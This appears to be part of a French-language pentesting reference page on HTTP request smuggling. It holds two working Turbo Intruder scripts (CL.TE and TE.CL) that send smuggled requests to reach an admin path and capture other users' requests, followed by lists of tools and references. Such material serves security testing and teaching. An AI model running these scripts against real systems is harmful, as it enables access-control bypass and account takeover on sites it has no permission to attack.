HTTP Response Smuggling / Desync

Autres techniques de HTTP Request Smuggling

• Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

• Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

Source: https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

De: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Outils

• HTTP Hacker (Burp BApp Store) – visualiser la concaténation/le framing et le comportement HTTP bas niveau
• https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
• https://github.com/anshumanpattnaik/http-request-smuggling
• https://github.com/PortSwigger/http-request-smuggler
• https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
• https://github.com/defparam/smuggler
• https://github.com/Moopinger/smugglefuzz
• https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Cet outil est un HTTP Fuzzer basé sur une grammaire, utile pour détecter des incohérences étranges liées au request smuggling.

Références

• https://portswigger.net/web-security/request-smuggling
• https://portswigger.net/web-security/request-smuggling/finding
• https://portswigger.net/web-security/request-smuggling/exploiting
• https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
• https://github.com/haroonawanofficial/HTTP-Desync-Attack/
• https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
• https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
• https://portswigger.net/research/trace-desync-attack
• https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
• Attention aux faux faux‑positifs : comment distinguer HTTP pipelining du request smuggling – https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
• https://http1mustdie.com/
• Desync Attacks pilotés par le navigateur – https://portswigger.net/research/browser-powered-desync-attacks
• PortSwigger Academy – desync côté client – https://portswigger.net/web-security/request-smuggling/browser/client-side-desync